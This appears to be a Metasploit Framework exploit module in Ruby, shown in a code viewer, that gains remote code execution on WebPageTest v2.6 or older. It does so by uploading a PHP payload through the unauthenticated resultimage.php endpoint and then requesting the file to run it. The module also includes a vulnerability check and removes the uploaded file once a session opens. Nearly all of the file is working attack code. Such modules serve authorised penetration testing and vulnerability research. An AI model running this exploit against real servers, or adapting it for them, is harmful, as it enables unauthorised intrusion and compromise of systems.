d5b165abbb
Notably, DisclosureDate is required for other module parsers, so let's not ignore those, even if you have to guess at the disclosure or call the module's publish date the disclosure date.
127 lines
3.4 KiB
Ruby
127 lines
3.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "WebPageTest Arbitrary PHP File Upload",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
|
|
default, the resultimage.php file does not verify the user-supplied item before
|
|
saving it to disk, and then places this item in the web directory accessable by
|
|
remote users. This flaw can be abused to gain remote code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'dun', #Discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '83822'],
|
|
['EDB', '19790']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => "none"
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['WebPageTest v2.6 or older', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jul 13 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def check
|
|
peer = "#{rhost}:#{rport}"
|
|
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
|
base = File.dirname("#{target_uri.path}.")
|
|
|
|
res1 = send_request_raw({'uri'=>"#{base}/index.php"})
|
|
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})
|
|
|
|
if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
|
|
res2 and res2.code == 200
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def on_new_session(cli)
|
|
if cli.type != "meterpreter"
|
|
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
|
|
return
|
|
end
|
|
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
cli.fs.file.rm(@target_path)
|
|
print_status("#{@target_path} removed")
|
|
end
|
|
|
|
|
|
def exploit
|
|
peer = "#{rhost}:#{rport}"
|
|
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
|
base = File.dirname("#{target_uri.path}.")
|
|
|
|
p = payload.encoded
|
|
fname = "blah.php"
|
|
data = Rex::MIME::Message.new
|
|
data.add_part(
|
|
"<?php #{p} ?>", #Data is our payload
|
|
'multipart/form-data', #Content Type
|
|
nil, #Transfer Encoding
|
|
"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition
|
|
)
|
|
|
|
print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{base}/work/resultimage.php",
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data.to_s
|
|
})
|
|
|
|
if not res
|
|
print_error("#{peer} - No response from host")
|
|
return
|
|
end
|
|
|
|
@target_path = "#{base}/results/#{fname}"
|
|
print_status("#{peer} - Requesting #{@target_path}")
|
|
res = send_request_cgi({'uri'=>@target_path})
|
|
|
|
handler
|
|
|
|
if res and res.code == 404
|
|
print_error("#{peer} - Payload failed to upload")
|
|
end
|
|
end
|
|
end
|